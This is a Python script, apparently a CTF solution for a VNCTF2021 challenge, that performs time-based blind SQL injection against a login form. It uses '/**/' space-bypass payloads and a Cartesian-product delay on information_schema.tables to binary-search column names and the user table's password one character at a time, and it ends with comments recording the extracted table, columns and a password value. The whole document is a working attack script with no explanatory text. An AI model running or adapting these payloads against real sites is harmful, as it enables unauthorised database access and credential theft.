笛卡尔积注入

    1. import requests
    2. url="http://c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
    3. flag=''
    4. for i in range(1,50):
    5.     f1=flag
    6.     top=127
    7.     low=33
    8.     while low<=top:
    9.         mid=(top+low)//2
    10.         # p1="admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='user'),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
    11.         # p2="admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='user'),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
    12.         p1="admin'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/user),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
    13.         p2="admin'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/user),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
    14.         data1={'username':'admin','password':p1}
    15.         data2={'username':'admin','password':p2}
    16.         try:
    17.             print(i,mid)
    18.             r1=requests.post(url,data=data1,timeout=1)
    19.         except requests.exceptions.ReadTimeout as e:
    20.             flag+=chr(mid)
    21.             print(flag)
    22.             break
    23.         except Exception as e:
    24.             pass
    25.         else:
    26.             try:
    27.                 r2=requests.post(url,data=data2,timeout=1)
    28.             except requests.exceptions.ReadTimeout as e:
    29.                 low=mid+1
    30.             except Exception as e:
    31.                 pass
    32.             else:
    33.                 top=mid-1
    34.     if flag==f1:
    35.         break
    36. # user
    37. # id,username,password
    38. # no_0ne_kn0w_th1s